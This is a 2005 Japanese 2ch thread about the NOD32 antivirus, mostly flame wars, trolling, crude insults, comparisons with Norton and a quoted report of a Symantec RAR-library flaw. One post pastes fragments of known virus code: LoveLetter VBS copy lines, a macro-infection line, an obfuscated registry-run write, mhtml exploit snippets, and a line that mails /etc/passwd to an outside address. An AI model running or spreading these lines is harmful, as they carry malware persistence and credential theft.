イカレタノワ オレダケ キミワスコシマトモダ

703 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:54:58
>>695
ウィルスについて勉強しる。

704 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:58:03
なにこのスレ(´・ω・)
スレ違いならすれ違いって言えよww
まじでキモイなww
厨はクソでもして寝てろ

705 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:59:07
> HTTP以外の通信(FTPとか)は監視しないんですか?
IMONは監視しない、(一応テストもしてみました。
AMONが監視をしているから、書庫でなければ感知しますよ。

> ほかのウィルス検出ソフトはHTTP以外の監視してるんでしょうか?
していないケースが多いと思います。
基本的に他の多くのアンチウィルスソフトは受信後にチェックするケースが多いです。

> やっぱりFW一体型じゃないから他の監視は無理なのですか?
PFWは無関係ですし、HTTPSとかだと受信中に検出することは不可能ですしね。

706 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:00:03
>>703
d
ウィルス対策のみならこれつかっときゃ大丈夫ってことだな?

707 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:00:33
>>693
二回も同じことを言わないように。

お前が常識を守れ。

708 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:01:42
>>706
自演乙w

709 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:02:34
>>707
何度も低能なレスを付けないように。

常識を知りなさい。

710 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:03:45
>>705
おぉわかりやすくありがとん
やっぱりFWって基本はポート見えなくしたり
いらない通信ぐだけなんだな

711 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:04:53
>>704
(´-`).。oO( >>677で「スレ違いですよ」と言われてるじゃん・・・ )

712 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:08:43
>>711
え?おれ今さっききたばかりで流れわからん。
答えてくれた親切な人のおかげで
解決したよ

ノシ

713 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:10:10
>>712
さっき来たばかりでデカい口を叩くなよ(w

714 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:11:13
>>712
つーか、たまにはクソして早く寝ろよ、スレ主よ。

715 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:16:14
今ダウンロードしてきた
再起動ついでに更新してみたら
レスがついててウマーw

いつきたってデカイ口叩いていいんだお
ていうかそんな口きいたとは思ってないお
さては普段ロクにダベったことないような
PCヲタが沸いてると見たお(^ω^;)

メリークリスマスとかがんばれお

716 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:17:33
>>710
あい。
NOD32は他のアンチウィルスと違い軽さを武器にしています。
その為、常駐監視であるAMONは、そのままでは感染しない書庫等は検査対象から除外しています。
逆に、UPX等の実行型書庫については非常に強力な検査で中に潜むウィルスを発見します。
これをベースにしていますから、IMONやEMONやDMONという常駐監視の補佐モジュールを配置している訳です。
IMONはメールとHTTPプロトコルに対応し、書庫内も検査する仕組みですし、EMONはSMTPプロトコルを監視し書庫内も検査します。
DMONはOFFICE関連とIEが自動的にダウンロードするファイルのウイルス検査を行ないます。
これ等も書庫内の検査ありです。

このように、考えつくされた処置がNOD32の特徴です。

717 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:21:58
>>715
いつも朝まで粘着自演しているから、
クリスマスの予約とか苦労しなくていいね。(^ω^;)

718 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:23:05
>>716
あい。自演乙w

719 :716:2005/12/21(水) 01:24:13
>>715さんへ
このスレには昔から住み着いている程度の低い荒らしがいます。
相手にしないようお願いします。

荒らし君の投稿 = 717,714,713

720 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:25:18
http://pc7.2ch.net/test/read.cgi/pc/1133919764/l50
204 名前:名無しさん [sage] 投稿日:2005/12/20(火) 17:13:01 0
雑音の習性に自分のレスやスレを他人の書いたもののように引用する癖があるのは知っているか?

721 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:31:01
>>709
お前がな。

722 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:32:17
低能レスキタ Y⌒Y⌒Y⌒Y⌒Y⌒Y⌒(。A。)!!!

723 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:33:24
>>721
お前がなw

724 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:34:45
m9(^Д^)プギャーーーッ

725 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:36:09
低能レス

>>709>>722
>>709>>707へのレス
>>707>>693へのレスであり>>693は荒らしによるものと推定されている。

このことから
>>709は荒らしのレスと推定され、>>722も雑音に粘着する荒らしの投稿と推定させる。

結論
荒らしの自演自作。

726 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:37:59
>>725

いつからF-Secureが「アンチスパイ専門ソフト」になったんだ?
教えてくれ。


「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw

727 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:38:07
>>725
低能分析の見本

728 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:39:22
程度が低いから分かりやすいw
なんてお間抜けな荒らしなんだろ。

もう必死 >> 726-727

729 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:39:35
>>725
m9(^Д^)プギャーーーッ

730 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:40:18
>>728
低能煽りの見本(;^ω^)

731 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:41:09
煽りと言うより、単にバカにしてるだけ?

732 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:42:34
マタ低能レスキタ Y⌒Y⌒Y⌒Y⌒Y⌒Y⌒(。A。)!!!

733 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:44:19
おまえら明日も会社だろ?もう寝ろ 俺寝る

734 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:46:25
と言って寝た試しなしw
暫くするとすぐ投稿再開->朝までw

735 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:48:30
あんたらここで喧嘩せんといっそうのこと社員なった方がええんちゃうん?
二人で組めばいいのできるかもよ?

736 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:49:11
>>734
そんなこと言うと、スレ主が意地になって朝までカキコを我慢するかもよ?(w

737 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:49:38
1.1330 (20051220)

738 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:50:12
>>736
彼には我慢は無理なんじゃないかと。

739 :736:2005/12/21(水) 01:51:30
すまん。読みが甘かった。orz
すぐカキコ再開したよ。

740 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:52:26
( ´,_ゝ`)プッ

741 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:53:09
>>738
他人には「スルーしろ」と繰り返すくせに、
言ってる本人がスルーできたことがない罠。

742 :名無しさん@お腹いっぱい。:2005/12/21(水) 01:53:53
>>741
ワラタ

743 :名無しさん@お腹いっぱい。:2005/12/21(水) 02:00:40
NODは絶対にハッキングされない 既に証明されている
ウイルスに関しても数ある中で無敵だろう

744 :名無しさん@お腹いっぱい。:2005/12/21(水) 02:04:39
>>739
俺の勝ちだな もう寝ろ

745 :名無しさん@お腹いっぱい。:2005/12/21(水) 02:30:18
>>716
お前は改行を知らないから誰なんだかすぐわかるな。

746 :名無しさん@お腹いっぱい。:2005/12/21(水) 02:33:14
m9(^Д^)プギャーーーッ 

747 :名無しさん@お腹いっぱい。:2005/12/21(水) 04:21:00
( ´,_ゝ`)プッ >>743
m9(^Д^)プギャーーーッ!!!
ひとつのソフトで守りきれるわけないだろう
絶対はない 




748 :名無しさん@お腹いっぱい。:2005/12/21(水) 04:38:36
漏れなんかNOD存在自体から知らないからググってみた
のだが吃驚。
わりかし検索件多いのでwww

749 :名無しさん@お腹いっぱい。:2005/12/21(水) 04:45:48

NODって、キーワードいれてるだけ
藻前インターフェースだよ。

750 :名無しさん@お腹いっぱい。:2005/12/21(水) 04:53:09
☆なんだかこのスレ潤ってますね☆

751 :名無しさん@お腹いっぱい。:2005/12/21(水) 05:01:27
>>743
アンチウイルスとしては優秀なのは認めるが
ハッキングとなると話は全く別になる
よって貴様は馬鹿
よってage

752 :名無しさん@お腹いっぱい。:2005/12/21(水) 05:06:44
>>751
常駐してんならでてこいよ
指が冷たいいのはわかるけど

753 :名無しさん@お腹いっぱい。:2005/12/21(水) 05:17:55
>>752
ちょっとハズイけど・・・禿同

754 :名無しさん@お腹いっぱい。:2005/12/21(水) 05:36:35
珍もはずかしい使うの

755 :名無しさん@お腹いっぱい。:2005/12/21(水) 05:41:08
香具師乙!

756 :名無しさん@お腹いっぱい。:2005/12/21(水) 06:01:18
ぶっちゃけハッキングされないことなんかどこも証明してないし出来るわけもないし・・・

757 :名無しさん@お腹いっぱい。:2005/12/21(水) 06:04:00
昨夜も一晩中、鬱垂れ流しかw
そこまで病んでいると見てる此方も流石に気色悪いぜ。
自演で永遠と糞を垂れ流すとはな。

758 :名無しさん@お腹いっぱい。:2005/12/21(水) 06:16:50
釣られるなよw

759 :名無しさん@お腹いっぱい。:2005/12/21(水) 06:24:08
メモリーが足りないし頭も足りない


760 :名無しさん@お腹いっぱい。:2005/12/21(水) 06:30:03
ここは粘着の巣窟ですか?

761 :名無しさん@お腹いっぱい。:2005/12/21(水) 06:39:57
皆からのおながい
はやく過疎って!!!

762 :名無しさん@お腹いっぱい。:2005/12/21(水) 06:47:54
>>643
>NOD32ユーザーはここに粘着して荒らしている奴よりずっと知識も豊富でまともだよ

どこがだよw
ど こ が まともなんだ?wwww
知識って何の知識だ?
NODでハッキングも防げるなんて間抜けな発言をするやつが豊富な知識を持ってるとでも?

そもそも俺はな、荒れるのを防ぎたいなら言いたいことをぐっと我慢することも必要だって言ってんだよ
一言一言一々反応してりゃ、そりゃ荒らしのいい玩具にされるだろうなwww


763 :名無しさん@お腹いっぱい。:2005/12/21(水) 07:08:47
そもそもウイルスとハッキングツールは別物

764 :名無しさん@お腹いっぱい。:2005/12/21(水) 07:35:52
> NODでハッキングも防げるなんて間抜けな発言をするやつが豊富な知識を持ってるとでも?
その書き込み、流れからみて荒らしの自演自作。
後で叩く為に書き込んだと予想される。

程度が低いから直ぐに分かるw

765 :名無しさん@お腹いっぱい。:2005/12/21(水) 08:08:40
>>764
お前自身が同じレベルまで落ちてるがな

766 :名無しさん@お腹いっぱい。:2005/12/21(水) 08:18:50
> そもそも俺はな、荒れるのを防ぎたいなら言いたいことをぐっと我慢することも必要だって言ってんだよ
> 一言一言一々反応してりゃ、そりゃ荒らしのいい玩具にされるだろうなwww

それムダムダ。
住み着いている荒らしはPart2から居座っている。
放置しようが何しようがムダ。
一人遊びや、他スレ荒らし、外部から呼び込み何でもありの人。
暇なときに適当にあしらっておくのが一番無難。

767 :名無しさん@お腹いっぱい。:2005/12/21(水) 08:29:32
おはよう、スレ主くん。
やっぱり我慢できず朝まで自演してたんだね。( ´∀`)y−
君も朝起きて仕事に出る生活に戻りなさい。

768 :名無しさん@お腹いっぱい。:2005/12/21(水) 08:45:56
と、自演荒らし行為を他人に擦り付ける無様。

程度が低いから直ぐに分かるw

769 :名無しさん@お腹いっぱい。:2005/12/21(水) 08:52:16
工エエ( ・∀・)エエ工 醜い


770 :名無しさん@お腹いっぱい。:2005/12/21(水) 08:54:09
レス見て確認、荒らしさん貫徹おめ〜

625 名前:名無しさん@お腹いっぱい。 投稿日:2005/12/20(火) 16:38:38
から
767 名前:名無しさん@お腹いっぱい。 投稿日:2005/12/21(水) 08:29:32
まで

そろそろ睡眠時間ですね。
次に起きて来るのは夕方かな?

771 :名無しさん@お腹いっぱい。:2005/12/21(水) 09:00:58
レス数だけは凄いが中身は全く無いなwwwwwww
ここの住人の中身と一緒だねwwwwwwwwwwwww

772 :名無しさん@お腹いっぱい。:2005/12/21(水) 09:23:48
おまえがな。

773 :名無しさん@お腹いっぱい。:2005/12/21(水) 09:30:06
フ━━━( ´_ゝ`)━━━ン!!

774 :名無しさん@お腹いっぱい。:2005/12/21(水) 09:35:26
冬休みだよなぁ

775 :名無しさん@お腹いっぱい。:2005/12/21(水) 09:37:28
>>771
ていうかお前気づくの遅すぎ、ここの住人以下だわ
ここの人達はそういうの超越してるから
いろんな意味でw

776 :名無しさん@お腹いっぱい。:2005/12/21(水) 10:01:02
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
 ,、i`ヽ                        ,r‐'ァ
 `ヽ::                      ::´
   ヽ ヽ        , -‐--、         / /
    ヽ \      I:::::::I_      _ / /
     ヽ  ヽ    i,(;;;ノI、;;;)l    ,,/  , '
      ヽ  ` ー 、.,,ゝ´ヮ`,ノュ_, - '   r'
        ` 、_ /::: `山':::::    /
         ヽ:::::::::::|::::::::"",r‐'
          〉::::::::|::::::::::¨/
         /;;;;;;;/;;;;;;;;;;/
        /;;;;;;;/:::::::::::《
     (( <;;;;;;;《:::::::::::::ヽ  ))
      /   ヽI,r''"""^~ヽ
     /   ,/ ヽ    ヽ

777 :名無しさん@お腹いっぱい。:2005/12/21(水) 10:14:08
777ゲト

778 :名無しさん@お腹いっぱい。:2005/12/21(水) 10:52:20
他所を荒らすなっつーの

779 :名無しさん@お腹いっぱい。:2005/12/21(水) 10:55:58
age厨房のクソガキに言われる筋合いはない

780 :名無しさん@お腹いっぱい。:2005/12/21(水) 10:59:26
ツー事は荒らしてる自覚はあるんだな

781 :名無しさん@お腹いっぱい。:2005/12/21(水) 11:01:27
>>778
低脳荒らしのおでましですか?

782 :名無しさん@お腹いっぱい。:2005/12/21(水) 11:11:20
NOD住所入れなきゃだめなのね

783 :名無しさん@お腹いっぱい。:2005/12/21(水) 13:31:54
今回のセキュリティ・ホールは,RAR形式の圧縮ファイルを取り扱うライブラリ「Dec2Rar.dll」が原因。

以下の製品が影響を受けるとしてリストアップしている。

* AntiVirus Corporate Edition 8.x/9.x/10.x
* AntiVirus for Caching 4.x/Network Attached Storage 4.x/SMTP Gateways 3.x
* AntiVirus Scan Engine 4.x
* AntiVirus/Filtering for Domino 3.x
* Brightmail AntiSpam 4.x/5.x/6.x
* Client Security 1.x/2.x
* Mail Security for Domino 4.x/Exchange 4.x/SMTP 4.x
* Norton AntiVirus 2001/2002/2003/2004/2005
* Norton AntiVirus 5/5.0 for OS/2
* Norton AntiVirus Corporate Edition 7.x
* Norton AntiVirus for Macintosh 9.x/10.x
* Norton AntiVirus for Microsoft Exchange 2.x/3.x
* Norton AntiVirus Solution 7.5
* Norton Internet Security 2001/2002/2003/2003 Professional/2004/2004 Professional/2005
* Norton Internet Security for Macintosh 3.x
* Web Security 2.x/3.x

これら以外にも,Dec2Rar.dllのバージョン3.2.14.3を含むすべての製品が影響を受けるという。

該当製品の設定を変更して,RAR形式ファイルはスキャンしないようにすることも回避策となる。
http://itpro.nikkeibp.co.jp/article/NEWS/20051221/226589/

SmartScanを有効にし、かつ圧縮ファイルの内部をスキャンしない設定にて回避可能

784 :名無しさん@お腹いっぱい。:2005/12/21(水) 13:51:51
Nortonやっちまったな・・・・
重いわ高価いわ穴だらけだわじゃ、どうしようもないわな。

785 :名無しさん@お腹いっぱい。:2005/12/21(水) 13:56:40
セキュリティソフトにセキュリティホールか。
書庫関係のセキュリティホールは他のでも昔あったしなぁ。

786 :名無しさん@お腹いっぱい。:2005/12/21(水) 15:00:34
基地害も自治厨も自作自演もお昼時はみんなお休み♥

787 :名無しさん@お腹いっぱい。:2005/12/21(水) 15:23:02
つ1.1331 (20051220)

788 :名無しさん@お腹いっぱい。:2005/12/21(水) 16:07:07
ttp://www.itmedia.co.jp/enterprise/articles/0512/21/news015.html
Symantecのウイルス対策ソフトに重大な脆弱性


Nortonはもう駄目だね。
これからはNOD32の時代だね。

789 :名無しさん@お腹いっぱい。:2005/12/21(水) 16:26:27
>>1
もう次のスレ立てるなよ

790 :名無しさん@お腹いっぱい。:2005/12/21(水) 17:16:48
NOD厨ですね^^

791 :名無しさん@お腹いっぱい。:2005/12/21(水) 19:07:58
今一番動作が軽い有料のソフトは、NODなのでしょうか?
ウイルスセキュリティがすごく軽いと言われて買ったのですが、
エラー多すぎ未対応ウイルス多すぎ。そして、NODを知りました。
NODが今のところ一番軽いのでしょうか?

792 :名無しさん@お腹いっぱい。:2005/12/21(水) 19:14:18
NODこそが最強

そしてSEXY

793 :名無しさん@お腹いっぱい。:2005/12/21(水) 19:42:47
>>791
ごちゃごちゃ言ってねえで体験版使ってみれ

794 :名無しさん@お腹いっぱい。:2005/12/21(水) 19:49:36
>>788
ヒドスwwwwゴミソフトwwwwwwwww

795 :767:2005/12/21(水) 20:34:23
>>768
お約束の莫迦レス、ご苦労さん。( ´∀`)y−

796 :名無しさん@お腹いっぱい。:2005/12/21(水) 20:40:45
名無しなウォーニングマン

797 :名無しさん@お腹いっぱい。:2005/12/21(水) 20:50:30
NODかわいいよNOD

798 :名無しさん@お腹いっぱい。:2005/12/21(水) 20:51:45
うはwwwwwwwwwww

ちょwwwwwwwwwwwwwww

何このスレwwwwwwwwwwwwwwwwwwwハズカシスwww

799 :名無しさん@お腹いっぱい。:2005/12/21(水) 20:52:13
起きしなに一レスって感じだな。
今日も良く腐ってるw

800 :名無しさん@お腹いっぱい。:2005/12/21(水) 20:57:06
800 キタキタキタキタ━━━(゚∀゚≡(゚∀゚≡゚∀゚)≡゚∀゚)━━━━!!!!!!!!!!

801 :名無しさん@お腹いっぱい。:2005/12/21(水) 23:44:32
1.1332 (20051221)

802 :名無しさん@お腹いっぱい。:2005/12/21(水) 23:50:11
>>798
山田ウイルスのネタもハズカシスw

803 :名無しさん@お腹いっぱい。:2005/12/22(木) 00:27:06
  ワケ     ワカ     メ♪
  ∧_∧   ∧_∧    ))^)
 ( ・∀・)  ( ・∀・)   (( (
⊂ ⊂  )  ( U  つ   )) )
 < < <    ) ) )   (( (
 (_(_)  (__)_)    )) )

804 :名無しさん@お腹いっぱい。:2005/12/22(木) 00:27:20
動作も軽くヒューリスティックの性能も優れていて
なおかつ検出率も良いとは文句の付けようがないな。

805 :名無しさん@お腹いっぱい。:2005/12/22(木) 00:29:28
ほめ殺しも効果が薄れてますね

806 :名無しさん@お腹いっぱい。:2005/12/22(木) 00:31:33
   〃∩ ∧_∧
   ⊂⌒(  ・ω・)  はいはいわろすわろす
     `ヽ_っ⌒/⌒c
        ⌒ ⌒

807 :名無しさん@お腹いっぱい。:2005/12/22(木) 00:32:16
自分にレスするスレはここですか?

808 :名無しさん@お腹いっぱい。:2005/12/22(木) 00:39:06
>>804
シグネチャの配布が遅い

809 :名無しさん@お腹いっぱい。:2005/12/22(木) 00:48:31
まぁ圧縮形式対応率もそんな高くはないね

810 :名無しさん@お腹いっぱい。:2005/12/22(木) 00:55:07
NODかわいいよNOD

811 :名無しさん@お腹いっぱい。:2005/12/22(木) 01:03:47
おまえと話すのやめたつまらん

812 :名無しさん@お腹いっぱい。:2005/12/22(木) 01:11:39
まあ飲め。

              ( ) )'
      _ ,,,..._    ( )
   ,,イ';;^;;;;;;;: `ヽ
 /;;::◎'''::; );;;:::: ヾミ、__
 ≧_ノ  __ノ ノ三  ヾミ `i
   ~''''ー-:、___ ヽ  `_,.ン|
      l    ̄ ̄...:;:彡|
      }  . . ...::::;:;;;;;彡{
      i   . . ...:::;;;;;彡|
      }   . .....:::;::;:;;;;彡{
      !,    . .:.::;:;;;彡j
       ト ,  . ....,:;:;:=:彳
       ヽ、.. ....::::...;;;ジ

813 :名無しさん@お腹いっぱい。:2005/12/22(木) 01:48:31
伝説のソフトだな。

814 :名無しさん@お腹いっぱい。:2005/12/22(木) 14:27:32
基地害も自治厨も自作自演もお昼時はみんなお休み♥♥
 
それにしても午後13時〜17時頃まではホント荒らしクンお休みみたいねw

815 :名無しさん@お腹いっぱい。:2005/12/22(木) 14:55:49
   ?????????:: ::       ??▲
   ????????::: :: .:?::     ????
  ?????????? ??:::    ??? ?
   ??????? ???:?:???    ???
  ??????????? ??????  ????
 ????:::?????? .:? ????? ???
?????::▼??????   ??▼■  ?
??????? .:::?????〓::      ??? 
???▼???????::       ?????
 ▼▼■??????????   ??????  
??????????:?????? ??????
???? ???■???????????????
??????????? ??????????
???????????????■??

816 :名無しさん@お腹いっぱい。:2005/12/22(木) 15:11:07
釣れました!( ̄ー ̄)ニヤリッ

817 :名無しさん@お腹いっぱい。:2005/12/22(木) 17:34:27
NOD32よりはNAVの方がいいよな
なんたって検出率が違う
あとはシグネチャの配布速度


818 :名無しさん@お腹いっぱい。:2005/12/22(木) 18:03:50
確かにウイルスばらまく側からしたら、NAVの方がいいな。検出率低いからさ。

819 :名無しさん@お腹いっぱい。:2005/12/22(木) 18:06:15
>>818
お得意の試験結果みりゃ、どっちが上かは馬鹿でもわかるだろ?

820 :名無しさん@お腹いっぱい。:2005/12/22(木) 18:11:47
体験版インスコしてみたけど俺には使いこなせそうにない

821 :名無しさん@お腹いっぱい。:2005/12/22(木) 18:11:56
>>819
そうだね。NOD32の方が検出率が上なのは数値が証明している。
ノートンも悪くは無いと思うけどね。

822 :名無しさん@お腹いっぱい。:2005/12/22(木) 18:16:25
比較をすると自治厨が出てくるぞ…

823 :名無しさん@お腹いっぱい。:2005/12/22(木) 19:11:42
あんま検出力は気にしないよ。軽いから使ってるだけで。

824 :名無しさん@お腹いっぱい。:2005/12/22(木) 19:58:52
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
ms-its:mhtml:file://c:\ 
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com

825 :名無しさん@お腹いっぱい。:2005/12/22(木) 20:20:35
>>820
使いこなすほどいじるところあったか?

826 :名無しさん@お腹いっぱい。:2005/12/22(木) 20:41:48
体験版入れてみたけど、これ軽いねえ

827 :名無しさん@お腹いっぱい。:2005/12/22(木) 22:10:12
>>814-826
自演乙

828 :名無しさん@お腹いっぱい。:2005/12/22(木) 22:59:39
1.1333 (20051222)

829 :名無しさん@お腹いっぱい。:2005/12/23(金) 00:03:28
今朝送ったスパイウェアが1.1333の定義でもう対応してる。
スパイウェアにろくに対応しない何処かの糞メーカーと違って素早い対応だなw

830 :名無しさん@お腹いっぱい。:2005/12/23(金) 00:08:01
>>829
NOD32定義ファイル: 1.1333 (20051222)
JS/TrojanDownloader.Phel.F (2), Win32/Adware.SpyAxe, Win32/Adware.Toolbar.Dashbar (2),
Win32/Agent.DT (2), Win32/Bifrose (2), Win32/Bifrose.E, Win32/Brontok.AI, Win32/Brontok.AP (2),
Win32/Brontok.AQ (2), Win32/Exploit.MS05-039.X, Win32/Guap.F, Win32/Hupigon (2),
Win32/Lovsan.S (2), Win32/PcClient (5), Win32/PSW.Legendmir.NCI, Win32/PSW.Maha.A (5),
Win32/Rbot (3), Win32/Robobot (2), Win32/Sinit, Win32/Sinit.C, Win32/Small.EV (2),
Win32/SpamTool.Mailbot.L, Win32/Spy.Agent.DT (3), Win32/Spy.Bancos.U, Win32/Spy.Banker.CV,
Win32/Spy.Banker.VJ, Win32/Spy.Gepost (3), Win32/SpyBot, Win32/TrojanClicker.VB.JB,
Win32/TrojanDownloader.Agent.BQ, Win32/TrojanDownloader.IstBar, Win32/TrojanDownloader.
Small.AMB, Win32/TrojanDownloader.Small.AVT, Win32/TrojanDownloader.Small.BEZ,
Win32/TrojanDownloader.Small.BVJ, Win32/TrojanDownloader.Small.NGC,
Win32/TrojanDropper.Oleloa, Win32/TrojanDropper.Small.NBG, Win32/TrojanProxy.Daemonize,
Win32/TrojanProxy.Ranky (2), Win32/VB.AGS (2), Win32/VB.NDV (2)

831 :名無しさん@お腹いっぱい。:2005/12/23(金) 00:08:10
>>829
いい加減こういう民度の低いレスはやめてくれないかな。
NODの有益な情報がまったく入ってこない。

832 :名無しさん@お腹いっぱい。:2005/12/23(金) 00:10:16
>>829
どのスパイウェアだ? 更新分を見る限り普通に自動対応っぽいんだが。

833 :名無しさん@お腹いっぱい。:2005/12/23(金) 00:20:54
>>832
釣られてるんじゃないよ
スルーしとけ煽ってるだよ!

834 :名無しさん@お腹いっぱい。:2005/12/23(金) 01:36:38
>煽ってるだよ!
田舎者ですか?

835 :名無しさん@お腹いっぱい。:2005/12/23(金) 02:00:27
ちんこしゃぶって〜まま!

836 :名無しさん@お腹いっぱい。:2005/12/23(金) 02:12:59
原文にあたろうねに該当するページが見つかりませんでした。

検索のヒント
キーワードに誤字・脱字がないか確かめてください。
違うキーワードを使ってみてください。
より一般的な言葉を使ってみてください。

837 :名無しさん@お腹いっぱい。:2005/12/23(金) 02:14:54
糞さを実感 の検索結果のうち 日本語のページ 約 19 件中 1 - 10 件目 (0.62 秒)

838 :名無しさん@お腹いっぱい。:2005/12/23(金) 02:17:02
チンチン

839 :名無しさん@お腹いっぱい。:2005/12/23(金) 02:18:36
ny使いの俺でもようやく安心して使えるようになっただよ。

840 :名無しさん@お腹いっぱい。:2005/12/23(金) 02:26:41
>なっただよ
田舎者ですか?

841 :名無しさん@お腹いっぱい。:2005/12/23(金) 02:36:32
まちゃまちゃのパロだって言ってるだよ。

842 :名無しさん@お腹いっぱい。:2005/12/23(金) 02:38:40
まちゃまちゃのパロに該当するページが見つかりませんでした。

検索のヒント
キーワードに誤字・脱字がないか確かめてください。
違うキーワードを使ってみてください。
より一般的な言葉を使ってみてください。

843 :名無しさん@お腹いっぱい。:2005/12/23(金) 03:49:10
で、NOD使ってる人はFWソフト入れてるの?
煽りじゃなくて、入れるなら何にしようか悩んでるので。

844 :名無しさん@お腹いっぱい。:2005/12/23(金) 03:50:35
ZA使ってる。

845 :名無しさん@お腹いっぱい。:2005/12/23(金) 03:55:17
チョンチョン

846 :名無しさん@お腹いっぱい。:2005/12/23(金) 04:02:35
>>844
NOD+ZAはノートンインターネットセキュリティー2003よりも
軽いですか? もし分かったら教えて。

847 :名無しさん@お腹いっぱい。:2005/12/23(金) 04:21:24
>>846
軽い
でも機能的にどっちが上かは微妙

848 :名無しさん@お腹いっぱい。:2005/12/23(金) 06:05:23
なんかね、win起動時にNODが立ち上がってないんすけど仕様っすか?
OSはwin2kね


849 :名無しさん@お腹いっぱい。:2005/12/23(金) 06:15:26
>>848
大丈夫。見えなくてもちゃんと立ち上がってるから。馬鹿には見えないの。

850 :名無しさん@お腹いっぱい。:2005/12/23(金) 06:22:17
>>846
2003はしばらく使ってないから比較できんけど、
2004よりは圧倒的に軽い。
2005よりは軽いことは軽い。スペックのいいPCだとあんまり変わらんけど。
2006は知らん。

851 :名無しさん@お腹いっぱい。:2005/12/23(金) 06:53:38
PCがやたら重いと思ったらNODのCPU使用率が常時50〜90%を維持してるんですが
不具合発生ですか?

852 :名無しさん@お腹いっぱい。:2005/12/23(金) 06:56:27
>>851
大丈夫。お前のパソコンだけだから。安心して使え。

853 :名無しさん@お腹いっぱい。:2005/12/23(金) 06:58:43
>>852
おい
俺は真面目に喋ってんだよ
てめーふざけんな

854 :名無しさん@お腹いっぱい。:2005/12/23(金) 07:24:32
NOD32ってあんまり売れてないね

855 :名無しさん@お腹いっぱい。:2005/12/23(金) 07:46:25
このスレを見ればそりゃ買う気無くすよなw
俺は一ヶ月試用してNOD32に決めた
体感するのが一番手っ取り早いな

しかしノートン売れまくってるねぇ
みんな良いPC持ってるのね…

856 :名無しさん@お腹いっぱい。:2005/12/23(金) 07:52:35
>>855
あんた馬鹿?
いいソフトだから売れるんだよ
それが市場の原理
もう少し勉強したら?w

857 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:02:01
ド素人やオサーンは店頭で山積みになってるほう選ぶと思うが。
NOD32なんて3個が縦積みで置いてあって探したもん。

858 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:03:54
>>857
売れてないから数も少ない
そこまで説明せんと理解できんのか??

859 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:07:05
バカが多いというのは理解してる

860 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:07:38
>>857
そうか? 緑のパッケは他にないからすぐわかったけど。

861 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:09:25
ダイヤモンドやゴールドと同じで良い物は数が少ない。これが原則だよ。

862 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:10:49
NODの悪い点

価格が高い
GUIが解り難杉
シグネチャの配布が遅い
アンチウイルス単体なんて今時貧弱すぎ
スパイウエアに弱い
信者が糞

以上の点に反論できるか?

863 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:12:08
>>861
馬鹿が居ました

